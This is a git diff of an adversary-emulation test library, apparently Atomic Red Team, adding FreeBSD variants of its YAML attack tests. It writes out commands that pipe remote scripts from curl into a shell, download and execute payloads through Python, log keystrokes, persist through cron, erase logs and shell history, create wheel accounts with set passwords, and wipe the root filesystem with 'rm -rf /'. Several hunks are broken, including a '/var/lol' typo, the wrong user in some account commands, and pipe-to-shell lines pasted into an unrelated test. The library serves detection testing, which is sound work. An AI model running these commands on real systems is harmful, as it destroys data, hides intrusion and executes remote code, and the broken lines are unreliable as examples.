description: | + An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3.9 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: false + command: | + if [ $(which python3.9) ]; then cd /tmp; python3.9 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi diff --git a/atomics/T1048/T1048.yaml b/atomics/T1048/T1048.yaml index 867d8b04b8..e5c5118451 100644 --- a/atomics/T1048/T1048.yaml +++ b/atomics/T1048/T1048.yaml @@ -12,6 +12,7 @@ atomic_tests: supported_platforms: - macos - linux + - freebsd input_arguments: domain: description: target SSH domain @@ -32,6 +33,7 @@ atomic_tests: supported_platforms: - macos - linux + - freebsd input_arguments: user_name: description: username for domain diff --git a/atomics/T1049/T1049.yaml b/atomics/T1049/T1049.yaml index 76c92a1772..5732637e55 100644 --- a/atomics/T1049/T1049.yaml +++ b/atomics/T1049/T1049.yaml @@ -27,13 +27,14 @@ atomic_tests: command: | Get-NetTCPConnection name: powershell -- name: System Network Connections Discovery Linux & MacOS +- name: System Network Connections Discovery FreeBSD, Linux & MacOS auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2 description: | Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout. supported_platforms: + - freebsd - linux - macos dependency_executor_name: sh diff --git a/atomics/T1053.002/T1053.002.yaml b/atomics/T1053.002/T1053.002.yaml index fbe4b1788f..727f072243 100644 --- a/atomics/T1053.002/T1053.002.yaml +++ b/atomics/T1053.002/T1053.002.yaml @@ -54,3 +54,34 @@ atomic_tests: elevation_required: false command: |- echo "#{at_command}" | at #{time_spec} +- name: At - Schedule a job freebsd + description: | + This test submits a command to be run in the future by the `at` daemon. + + supported_platforms: + - freebsd + + input_arguments: + time_spec: + description: Time specification of when the command should run + type: string + default: now + 1 minute + at_command: + description: The command to be run + type: string + default: echo Hello from Atomic Red Team + + dependency_executor_name: sh + dependencies: + - description: | + The `at` executable must exist in the PATH + prereq_command: | + which at + get_prereq_command: | + echo 'Please install `at` ; they were not found in the PATH (Package name: `at`)' + + executor: + name: sh + elevation_required: false + command: |- + echo "#{at_command}" | at #{time_spec} diff --git a/atomics/T1053.003/T1053.003.yaml b/atomics/T1053.003/T1053.003.yaml index 4d7bf0fffc..43551d31b0 100644 --- a/atomics/T1053.003/T1053.003.yaml +++ b/atomics/T1053.003/T1053.003.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -18,7 +19,7 @@ atomic_tests: type: path default: /tmp/persistevil executor: - name: bash + name: sh command: | crontab -l > /tmp/notevil echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} @@ -53,6 +54,27 @@ atomic_tests: rm /etc/cron.hourly/#{cron_script_name} rm /etc/cron.monthly/#{cron_script_name} rm /etc/cron.weekly/#{cron_script_name} +- name: Cron - Add script to /etc/cron.d folder + description: | + This test adds a script to /etc/cron.d folder configured to execute on a schedule. + supported_platforms: + - freebsd + input_arguments: + command: + description: Command to execute + type: string + default: echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log + cron_script_name: + description: Name of file to store in cron folder + type: string + default: persistevil + executor: + elevation_required: true + name: sh + command: | + echo "#{command}" > /etc/cron.d/#{cron_script_name} + cleanup_command: | + rm /etc/cron.d/#{cron_script_name} - name: Cron - Add script to /var/spool/cron/crontabs/ folder auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4 description: | diff --git a/atomics/T1056.001/T1056.001.yaml b/atomics/T1056.001/T1056.001.yaml index b41484c16a..8eb3ebf9de 100644 --- a/atomics/T1056.001/T1056.001.yaml +++ b/atomics/T1056.001/T1056.001.yaml @@ -88,6 +88,31 @@ atomic_tests: tail /var/log/syslog cleanup_command: | unset PROMPT_COMMAND +- name: Logging sh history to syslog/messages + description: | + There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog. + + To gain persistence the command could be added to the users .shrc or .profile + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + This test requires to be run in a bash shell and that logger and tee are installed. + prereq_command: | + if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi + if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi + get_prereq_command: | + echo "" + executor: + name: sh + elevation_required: true + command: | + PS2=`logger -t "$USER" -f ~/.sh_history` + $PS2 + tail /var/log/messages + cleanup_command: | + unset PS2 - name: Bash session based keylogger auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258 description: | @@ -95,13 +120,14 @@ atomic_tests: To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ supported_platforms: + - freebsd - linux dependency_executor_name: sh dependencies: - description: | This test requires to be run in a bash shell prereq_command: | - if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi + if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi get_prereq_command: | echo "" input_arguments: @@ -111,7 +137,7 @@ atomic_tests: type: string default: /tmp/.keyboard.log executor: - name: sh + name: bash elevation_required: false command: | trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG diff --git a/atomics/T1057/T1057.yaml b/atomics/T1057/T1057.yaml index 593f4cd76c..9e21967c9c 100644 --- a/atomics/T1057/T1057.yaml +++ b/atomics/T1057/T1057.yaml @@ -8,8 +8,9 @@ atomic_tests: Upon successful execution, sh will execute ps and output to /tmp/loot.txt. supported_platforms: - - macos + - freebsd - linux + - macos input_arguments: output_file: description: path of output file diff --git a/atomics/T1059.004/T1059.004.yaml b/atomics/T1059.004/T1059.004.yaml index 52847bef53..04faca4ced 100644 --- a/atomics/T1059.004/T1059.004.yaml +++ b/atomics/T1059.004/T1059.004.yaml @@ -4,10 +4,11 @@ atomic_tests: - name: Create and Execute Bash Shell Script auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873 description: | - Creates and executes a simple bash script. + Creates and executes a simple sh script. supported_platforms: - - macos + - freebsd - linux + - macos input_arguments: script_path: description: Script path @@ -29,8 +30,9 @@ atomic_tests: Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`. supported_platforms: - - macos + - freebsd - linux + - macos executor: command: | curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash @@ -103,6 +105,7 @@ atomic_tests: description: | An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed. supported_platforms: + - freebsd - linux executor: name: sh @@ -119,6 +122,7 @@ atomic_tests: description: | An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running. supported_platforms: + - freebsd - linux executor: name: sh @@ -132,6 +136,7 @@ atomic_tests: description: | An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host. supported_platforms: + - freebsd - linux executor: name: sh @@ -143,6 +148,7 @@ atomic_tests: description: | An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here! supported_platforms: + - freebsd - linux executor: name: sh @@ -162,12 +168,25 @@ atomic_tests: echo "\$ART=$ART" echo -n "$ART" |base64 -d |/bin/bash unset ART +- name: Obfuscated command line scripts (freebsd) + description: | + An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: false + command: | + ART=$(echo -n "id" |b64encode -r -) + echo "\$ART=$ART" + echo -n "$ART" |b64decode -r |/bin/sh + unset ART - name: Change login shell auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7 description: | An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. supported_platforms: - - linux + - linux dependencies: - description: | chsh - change login shell, must be installed @@ -185,12 +204,34 @@ atomic_tests: cat /etc/passwd |grep ^art cleanup_command: | userdel art +- name: Change login shell (freebsd) + description: | + An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/sh shell, changes the users shell to sh, then deletes the art user. + supported_platforms: + - freebsd + dependencies: + - description: | + chsh - change login shell, must be installed + prereq_command: | + if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi + get_prereq_command: | + echo "Automated installer not implemented yet, please install chsh manually" + executor: + name: sh + elevation_required: true + command: | + pw useradd art -g wheel -s /bin/csh + cat /etc/passwd |grep ^art + chsh -s /bin/sh art + cat /etc/passwd |grep ^art + cleanup_command: | + rmuser -y art - name: Environment variable scripts auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51 description: | An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash supported_platforms: - - linux + - linux executor: name: bash elevation_required: false @@ -199,6 +240,20 @@ atomic_tests: echo $ART |/bin/bash cleanup_command: | unset ART +- name: Environment variable scripts (freebsd) + description: | + An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/sh + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: false + command: | + export ART='echo "Atomic Red Team was here... T1059.004"' + echo $ART |/bin/sh + cleanup_command: | + unset ART + - name: Detecting pipe-to-shell auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1 description: | @@ -230,6 +285,36 @@ atomic_tests: ls -la /tmp/art.txt cleanup_command: | rm /tmp/art.txt +- name: Detecting pipe-to-shell (freebsd) + description: | + An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command. + supported_platforms: + - freebsd + input_arguments: + remote_url: + description: url of remote payload + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh + dependency_executor_name: sh + dependencies: + - description: | + Check if running on a Debian based machine. + prereq_command: | + if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi + if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi + get_prereq_command: | + pkg update && pkg install -y curl + executor: + name: sh + elevation_required: false + command: | + cd /tmp + curl -s #{remote_url} + ls -la /tmp/art.txt + curl -s #{remote_url} |bash + ls -la /tmp/art.txt + cleanup_command: | + rm /tmp/art.txt - name: Current kernel information enumeration auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14 description: | @@ -240,4 +325,11 @@ atomic_tests: name: sh elevation_required: false command: | + cd /tmp + curl -s #{remote_url} + ls -la /tmp/art.txt + curl -s #{remote_url} |sh + ls -la /tmp/art.txt + cleanup_command: | + rm /tmp/art.txt uname -srm diff --git a/atomics/T1059.006/T1059.006.yaml b/atomics/T1059.006/T1059.006.yaml index ac2fbfbb8e..755d41ffa2 100644 --- a/atomics/T1059.006/T1059.006.yaml +++ b/atomics/T1059.006/T1059.006.yaml @@ -5,6 +5,7 @@ atomic_tests: auto_generated_guid: 3a95cdb2-c6ea-4761-b24e-02b71889b8bb description: Download and execute shell script and write to file then execute locally using Python -c (command mode) supported_platforms: + - freebsd - linux input_arguments: script_url: @@ -16,7 +17,7 @@ atomic_tests: type: string default: T1059.006-payload executor: - description: Linux shell + description: FreeBSD or Linux shell type: string default: sh script_args: @@ -27,21 +28,22 @@ atomic_tests: dependencies: - description: Verify if python is in the environment variable path and attempt to import requests library. prereq_command: | - which_python=$(which python || which python3 || which python2); $which_python -V + which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | - which_python=$(which python || which python3 || which python2) + which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)' name: sh cleanup_command: | - rm #{payload_file_name} - - name: 'Execute Python via scripts (Linux)' + rm #{payload_file_name} + - name: 'Execute Python via scripts' auto_generated_guid: 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8 description: Create Python file (.py) that downloads and executes shell script via executor arguments - supported_platforms: + supported_platforms: + - freebsd - linux input_arguments: python_script_name: @@ -69,13 +71,13 @@ atomic_tests: - description: | Requires Python prereq_command: | - which_python=$(which python || which python3 || which python2); $which_python -V + which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | - which_python=$(which python || which python3 || which python2) + which_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -90,11 +92,12 @@ atomic_tests: name: sh cleanup_command: | rm #{python_script_name} #{payload_file_name} - - name: 'Execute Python via Python executables (Linux)' + - name: 'Execute Python via Python executables' auto_generated_guid: 0b44d79b-570a-4b27-a31f-3bf2156e5eaa description: | Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments supported_platforms: + - freebsd - linux input_arguments: python_script_name: @@ -126,13 +129,13 @@ atomic_tests: - description: | Requires Python prereq_command: | - which_python=$(which python || which python3 || which python2); $which_python -V + which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: | - which_python=$(which python || which python3 || which python2) + which_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -153,20 +156,21 @@ atomic_tests: description: | Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence supported_platforms: + - freebsd - linux dependencies: - description: | Verify if python is in the environment variable path and attempt to import requests library. prereq_command: | - which_python=$(which python || which python3 || which python2); $which_python -V + which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: | pip install requests executor: command: |- - which_python=$(which python || which python3 || which python2) + which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c "import pty;pty.spawn('/bin/sh')" exit $which_python -c "import pty;pty.spawn('/bin/bash')" exit - name: bash + name: sh diff --git a/atomics/T1069.001/T1069.001.yaml b/atomics/T1069.001/T1069.001.yaml index 8d2f0613cd..0a6b60a8a9 100644 --- a/atomics/T1069.001/T1069.001.yaml +++ b/atomics/T1069.001/T1069.001.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Permission Groups Discovery supported_platforms: + - freebsd - macos - linux executor: diff --git a/atomics/T1070.002/T1070.002.yaml b/atomics/T1070.002/T1070.002.yaml index c58d7d06cc..fd769cf9ab 100644 --- a/atomics/T1070.002/T1070.002.yaml +++ b/atomics/T1070.002/T1070.002.yaml @@ -1,5 +1,5 @@ attack_technique: T1070.002 -display_name: 'Indicator Removal on Host: Clear Linux or Mac System Logs' +display_name: 'Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs' atomic_tests: - name: rm -rf auto_generated_guid: 989cc1b1-3642-4260-a809-54f9dd559683 @@ -32,6 +32,17 @@ atomic_tests: if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi name: sh elevation_required: true +- name: rm -rf + description: | + Delete messages and security logs + supported_platforms: + - freebsd + executor: + command: | + rm -rf /var/log/messages + rm -rf /var/log/security + name: sh + elevation_required: true - name: Delete log files using built-in log utility auto_generated_guid: 653d39cd-bae7-499a-898c-9fb96b8b5cd1 description: | @@ -69,6 +80,18 @@ atomic_tests: sudo truncate --size=0 #{system_log_path} #size parameter name: sh elevation_required: true +- name: Truncate system log files via truncate utility (freebsd) + description: | + This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content + supported_platforms: + - freebsd + executor: + command: | + truncate -s 0 /var/log/messages #size parameter shorthand + truncate --size=0 /var/log/security #size parameter + name: sh + elevation_required: true + - name: Delete log files via cat utility by appending /dev/null or /dev/zero auto_generated_guid: c23bdb88-928d-493e-b46d-df2906a50941 description: | @@ -94,6 +117,18 @@ atomic_tests: sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros) name: sh elevation_required: true +- name: Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd) + description: | + The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility + supported_platforms: + - freebsd + executor: + command: | + cat /dev/null > /var/log/messages #truncating the file to zero bytes + cat /dev/zero > /var/lol/messages #log file filled with null bytes(zeros) + name: sh + elevation_required: true + - name: System log file deletion via find utility auto_generated_guid: bc8eeb4a-cc3e-45ec-aa6e-41e973da2558 description: | @@ -144,6 +179,17 @@ atomic_tests: sudo echo '' > #{system_log_path} name: sh elevation_required: true +- name: Overwrite FreeBSD system log via echo utility + description: | + This test overwrites the contents of system log file with an empty string using echo utility + supported_platforms: + - freebsd + executor: + command: | + echo '' > /var/log/messages + name: sh + elevation_required: true + - name: Real-time system log clearance/deletion auto_generated_guid: 848e43b3-4c0a-4e4c-b4c9-d1e8cea9651c description: | @@ -179,6 +225,16 @@ atomic_tests: sudo unlink #{system_log_path} name: sh elevation_required: true +- name: Delete system log files via unlink utility (freebsd) + description: | + This test deletes the messages log file using unlink utility + supported_platforms: + - freebsd + executor: + command: | + unlink /var/log/messages + name: sh + elevation_required: true - name: Delete system log files using shred utility auto_generated_guid: 86f0e4d5-3ca7-45fb-829d-4eda32b232bb description: | diff --git a/atomics/T1070.003/T1070.003.yaml b/atomics/T1070.003/T1070.003.yaml index 5616884371..e32209dc4d 100644 --- a/atomics/T1070.003/T1070.003.yaml +++ b/atomics/T1070.003/T1070.003.yaml @@ -12,16 +12,35 @@ atomic_tests: command: | rm ~/.bash_history name: sh +- name: Clear sh history (rm) + description: | + Clears sh history via rm + supported_platforms: + - freebsd + executor: + command: | + rm ~/.sh_history + name: sh + - name: Clear Bash history (echo) auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11 description: | - Clears bash history via rm + Clears bash history via echo supported_platforms: - linux executor: command: | echo "" > ~/.bash_history name: sh +- name: Clear sh history (echo) + description: | + Clears sh history via echo + supported_platforms: + - freebsd + executor: + command: | + echo "" > ~/.sh_history + name: sh - name: Clear Bash history (cat dev/null) auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f description: | @@ -33,6 +52,16 @@ atomic_tests: command: | cat /dev/null > ~/.bash_history name: sh +- name: Clear sh history (cat dev/null) + description: | + Clears sh history via cat /dev/null + supported_platforms: + - freebsd + executor: + command: | + cat /dev/null > ~/.sh_history + name: sh + - name: Clear Bash history (ln dev/null) auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914 description: | @@ -44,6 +73,15 @@ atomic_tests: command: | ln -sf /dev/null ~/.bash_history name: sh +- name: Clear sh history (ln dev/null) + description: | + Clears sh history via a symlink to /dev/null + supported_platforms: + - freebsd + executor: + command: | + ln -sf /dev/null ~/.sh_history + name: sh - name: Clear Bash history (truncate) auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739 description: | @@ -54,6 +92,15 @@ atomic_tests: command: | truncate -s0 ~/.bash_history name: sh +- name: Clear sh history (truncate) + description: | + Clears sh history via truncate + supported_platforms: + - freebsd + executor: + command: | + truncate -s0 ~/.sh_history + name: sh - name: Clear history of a bunch of shells auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c description: | @@ -67,6 +114,20 @@ atomic_tests: export HISTFILESIZE=0 history -c name: sh +- name: Clear history of a bunch of shells (freebsd) + description: | + Clears the history of a bunch of different shell types by setting the history size to zero + supported_platforms: + - freebsd + executor: + command: | + unset HISTFILE + unset histfile + export HISTFILESIZE=0 + export HISTSIZE=0 + history -c + name: sh + - name: Clear and Disable Bash History Logging auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6 description: | @@ -120,6 +181,27 @@ atomic_tests: userdel -f testuser1 name: sh +- name: Disable sh History Logging with SSH -T (freebsd) + description: | + Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog + supported_platforms: + - freebsd + dependencies: + - description: | + Install sshpass and create user account used for excuting + prereq_command: | + $(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null) + get_prereq_command: | + pw useradd testuser1 -g wheel -s /bin/sh + echo 'pwd101!' | pw mod user testuser1 -h 0 + (which pkg && pkg install -y sshpass) + executor: + command: | + sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname + cleanup_command: | + rmuser -y testuser1 + name: sh + - name: Prevent Powershell History Logging auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370 description: | diff --git a/atomics/T1070.004/T1070.004.yaml b/atomics/T1070.004/T1070.004.yaml index 598a187c2a..59e9264794 100644 --- a/atomics/T1070.004/T1070.004.yaml +++ b/atomics/T1070.004/T1070.004.yaml @@ -1,11 +1,12 @@ attack_technique: T1070.004 display_name: 'Indicator Removal on Host: File Deletion' atomic_tests: -- name: Delete a single file - Linux/macOS +- name: Delete a single file - FreeBSD/Linux/macOS auto_generated_guid: 562d737f-2fc6-4b09-8c2a-7f8ff0828480 description: | Delete a single file from the temporary directory supported_platforms: + - freebsd - linux - macos input_arguments: @@ -31,11 +32,12 @@ atomic_tests: cleanup_command: | rm -rf #{parent_folder} name: sh -- name: Delete an entire folder - Linux/macOS +- name: Delete an entire folder - FreeBSD/Linux/macOS auto_generated_guid: a415f17e-ce8d-4ce2-a8b4-83b674e7017e description: | Recursively delete the temporary directory and all files contained within it supported_platforms: + - freebsd - linux - macos input_arguments: @@ -175,6 +177,16 @@ atomic_tests: command: | rm -rf / --no-preserve-root > /dev/null 2> /dev/null name: bash +- name: Delete Filesystem - FreeBSD + description: | + This test deletes the entire root filesystem of a FreeBSD system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment. + supported_platforms: + - freebsd + executor: + command: | + chflags -R 0 / + rm -rf / > /dev/null 2> /dev/null + name: sh - name: Delete Prefetch File auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb description: | diff --git a/atomics/T1070.006/T1070.006.yaml b/atomics/T1070.006/T1070.006.yaml index 1c8e6b39aa..dbf3ec2a48 100644 --- a/atomics/T1070.006/T1070.006.yaml +++ b/atomics/T1070.006/T1070.006.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Stomps on the access timestamp of a file supported_platforms: + - freebsd - linux - macos input_arguments: @@ -26,11 +27,13 @@ atomic_tests: cleanup_command: | rm -f #{target_filename} name: sh + - name: Set a file's modification timestamp auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52 description: | Stomps on the modification timestamp of a file supported_platforms: + - freebsd - linux - macos input_arguments: @@ -59,6 +62,7 @@ atomic_tests: Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -84,6 +88,7 @@ atomic_tests: This technique was used by the threat actor Rocke during the compromise of Linux web servers. supported_platforms: + - freebsd - linux - macos input_arguments: diff --git a/atomics/T1071.001/T1071.001.yaml b/atomics/T1071.001/T1071.001.yaml index 18b231a120..d36408fe06 100644 --- a/atomics/T1071.001/T1071.001.yaml +++ b/atomics/T1071.001/T1071.001.yaml @@ -66,6 +66,7 @@ atomic_tests: This test simulates an infected host beaconing to command and control. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat supported_platforms: + - freebsd - linux - macos input_arguments: diff --git a/atomics/T1074.001/T1074.001.yaml b/atomics/T1074.001/T1074.001.yaml index 526f1dc099..f932a016ce 100644 --- a/atomics/T1074.001/T1074.001.yaml +++ b/atomics/T1074.001/T1074.001.yaml @@ -12,7 +12,7 @@ atomic_tests: output_file: description: Location to save downloaded discovery.bat file type: path - default: $env:TEMP\discovery.bat + default: $env:TEMP\discovery.bat executor: command: | Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file} @@ -35,6 +35,28 @@ atomic_tests: command: | curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | bash -s > #{output_file} name: bash +- name: Stage data from Discovery.sh (freebsd) + description: | + Utilize curl to download discovery.sh and execute a basic information gathering shell script + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Location to save downloaded discovery.bat file + type: path + default: /tmp/T1074.001_discovery.log + dependency_executor_name: sh + dependencies: + - description: | + Check if curl is installed. + prereq_command: | + if [ ! -x "$(command -v curl)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y curl) + executor: + command: | + curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file} + name: sh - name: Zip a Folder with PowerShell for Staging in Temp auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a description: | diff --git a/atomics/T1078.003/T1078.003.yaml b/atomics/T1078.003/T1078.003.yaml index 64ec3640ae..7f6a20042c 100644 --- a/atomics/T1078.003/T1078.003.yaml +++ b/atomics/T1078.003/T1078.003.yaml @@ -118,6 +118,22 @@ atomic_tests: exit cleanup_command: | userdel -r art +- name: Create local account (FreeBSD) + description: | + An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: true + command: | + pw useradd art -g wheel -s /bin/sh + echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 + su art + whoami + exit + cleanup_command: | + rmuser -y art - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: | @@ -140,6 +156,28 @@ atomic_tests: exit cleanup_command: | userdel -r art +- name: Reactivate a locked/expired account (FreeBSD) + description: | + A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. + + In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: true + command: | + pw useradd art -g wheel -s /bin/sh + echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 + pw lock art + pw usermod art -e +1d + pw unlock art + pw user mod art -e +99d + su art + whoami + exit + cleanup_command: | + rmuser -y art - name: Login as nobody (Linux) auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85 description: | @@ -161,3 +199,24 @@ atomic_tests: chsh --shell /usr/sbin/nologin nobody cat /etc/passwd |grep nobody # -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +- name: Login as nobody (freebsd) + description: | + An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: true + command: | + cat /etc/passwd |grep nobody + # -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin + pw usermod nobody -s /bin/sh + echo $(openssl passwd -1 art) | pw mod user nobody -h 0 + su nobody + whoami + exit + cleanup_command: | + pw usermod nobody -s /usr/sbin/nologin + cat /etc/passwd |grep nobody + # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin + diff --git a/atomics/T1082/T1082.yaml b/atomics/T1082/T1082.yaml index 76d629e0e4..5e27bcc967 100644 --- a/atomics/T1082/T1082.yaml +++ b/atomics/T1082/T1082.yaml @@ -28,6 +28,7 @@ atomic_tests: description: | Identify System Info supported_platforms: + - freebsd - linux - macos input_arguments: @@ -41,6 +42,7 @@ atomic_tests: if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi + if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi uptime >> #{output_file} cat #{output_file} 2>/dev/null 